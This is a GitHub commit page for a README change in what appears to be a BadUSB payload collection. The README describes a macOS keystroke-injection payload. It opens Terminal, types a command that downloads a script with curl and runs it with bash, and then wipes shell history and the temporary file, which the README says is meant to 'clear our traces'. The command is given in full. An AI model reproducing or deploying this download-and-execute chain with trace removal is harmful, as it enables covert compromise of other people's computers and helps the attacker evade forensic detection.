Skip to content

Commit

Permalink
updated readme
Browse files Browse the repository at this point in the history
  • Loading branch information
msr8 committed Oct 7, 2022
1 parent 671c411 commit f83a209
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Payloads/Script Runner/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,4 +5,4 @@

<br>

**script_runner_mac.ino:** Once plugged in, it hits cmd+space which opens spotlight. Then it types `Terminal.app` and hits enter to open up the terminal application. Then it types out `"$( curl "[url]" > $TMPDIR/16691615; bash $TMPDIR/16691615; history -c; rm ~/.bash_history;rm $TMPDIR/16691615 )" & disown;`, and then it quits the terminal by
**script_runner_mac.ino:** Once plugged in, it hits cmd+space which opens spotlight. Then it types `Terminal.app` and hits enter to open up the terminal application. Then it types out `"$( curl "[url]" > $TMPDIR/16691615; bash $TMPDIR/16691615; history -c; rm ~/.bash_history;rm $TMPDIR/16691615 )" & disown;`, and then it quits the terminal by hitting command+q and then enter (it hits enter because of the "Do you want to terminate the processes in this window" prompt). Here, `curl "[url]" > $TMPDIR/16691615` saved the script to a file, `bash $TMPDIR/16691615` executed the file, `history -c`, `rm ~/.bash_history`, `rm $TMPDIR/16691615` clear our traces, and `& disown` ensures that these processes keep running even if the terminal is exited

0 comments on commit f83a209

Please sign in to comment.